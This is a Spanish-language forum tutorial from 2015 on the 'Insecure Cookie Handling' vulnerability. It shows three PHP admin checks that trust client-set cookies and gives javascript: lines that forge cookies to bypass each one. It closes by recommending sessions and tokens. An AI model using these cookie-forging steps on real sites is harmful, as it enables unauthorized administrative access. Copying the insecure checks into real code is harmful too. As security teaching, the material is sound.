Insecure Cookie Handling

Iniciado por ezephp, Marzo 20, 2015, 12:26:12 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Marzo 20, 2015, 12:26:12 PM Ultima modificación: Junio 08, 2015, 11:45:37 PM por EPSILON
Insecure Cookie Handling

#Explicación:

Insecure Cookie Handling (inseguridad en el manejo de cookies) es una vulnerabilidad que encontraremos en sitios que utilizan mal sus cookies y es muy sencilla de explotar. Los programadores pueden utilizar cookies, por ejemplo, para restringir la sección de los usuarios no autorizados, vamos a explicar qué significa cada cosa...


Cookie: Las cookies forman parte del protocolo HTTP, este protocolo se usa para intercambiar mensajes entre el servidor y el cliente utilizando solicitudes y respuestas HTTP. El encabezado HTTP reservado para el uso de las cookies se denomina Set-Cookie y está compuesto por estos valores:

Set-Cookie: nombre=valor; domain=nombre de dominio; expires=vencimiento de la cookie; path=ruta donde la cookie será validada; secure

Ejemplo:

Set-Cookie: admin=1; domain=www.web.com; expires=Friday, 2-Feb-2016 00:00:00 GMT; path=/admin; secure

Secure: Solo se usa si la cookie es enviada por conexion segura (SSL) y es opcional.


#Explotación:

Pondremos algunos ejemplos en PHP. Mostramos un código que lo puede utilizar un programador para autorizar la entrada a la administración.

Código: php
<?
// verificamos que existe la cookie admin y que tenga el valor 1.

if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == 1)
{
echo "Bienvenido a la administración...";

}else{

echo "No estas autorizado";

}
?>



En este caso tendríamos que crear una cookie llamada "admin" con el valor 1. Lo haremos en JavaScript pero se puede hacer con un plugin de Firefox ( Cookies Manager+ ). Entonces, ingresaremos en el sitio vulnerable y ponemos en la barra del navegador:

javascript:document.cookie="admin=1; path=/";

Ahora entramos nuevamente al login y, en este caso, tendremos acceso a la administración.


Otro ejemplo:

Código: php
<?
// Verificamos que este creada una cookie user con valor 1, y pass con valor 1

if($_COOKIE['user'] == 1 && $_COOKIE['pass'] == 1)
{
echo "Autorizado";
}else{
echo "No autorizado";
}
?>


Como en el caso anterior entramos a la web e insertamos en el navegador:

javascript:document.cookie="user=1; path=/"; document.cookie="pass=1; path=/";

Ahí creamos 2 cookies las cuales sirven para pasar la verificación. Entramos nuevamente a la web estando ya autorizados.


Vamos con un último ejemplo:

Código: php
<?

// codificamos en base64 el usuario admin para luego encriptarlo en md5.
$user = md5(base64_encode("admin"));

//verificamos que la cookie usuario tenga el valor de la variable $user, y que pass sea 1.
if($_COOKIE['usuario'] == $user && $_COOKIE['pass'] == 1)
{
echo "Administración";
}else{
echo "Acceso Incorrecto";
}
?>


Bueno hay que explicar unas cositas de este ejemplo, primero: lo que codifica y después cifra es el nombre de usuario en este caso "admin". Tenemos que saber cómo sacar este nombre de usuario ya que por ejemplo, puede contener el nombre y apellido del administrador, una vez que tenemos el usuario tendríamos que codificar primero en base64 y después cifrar en md5. Como no somos magos para adivinar el usuario tenemos que ver la forma de poder sacarlo, puede ser un nombre de usuario por default (como admin, administrador etc..) o sino nos podemos fijar quién postea en la web, por ejemplo... en la mayoría de los Blogs que son pre-fabricados dice el usuario que posteó.

Supongamos que tiene como usuario "admin" (como el script de arriba) entonces codificamos y ciframos el usuario, una vez hecho creamos la cookie:

javascript:document.cookie="usuario=db69fc039dcbd2962cb4d28f5891aae1; path=/"; document.cookie="pass=1; path=/";


#Solución:

Ya no es recomendable usar cookies para el acceso de un login, yo recomiendo que utilicen sesiones, y en lo posible también un token.



Links recomendados:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<-- Cookies Manager+



Autor: Pablo La Rocca

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta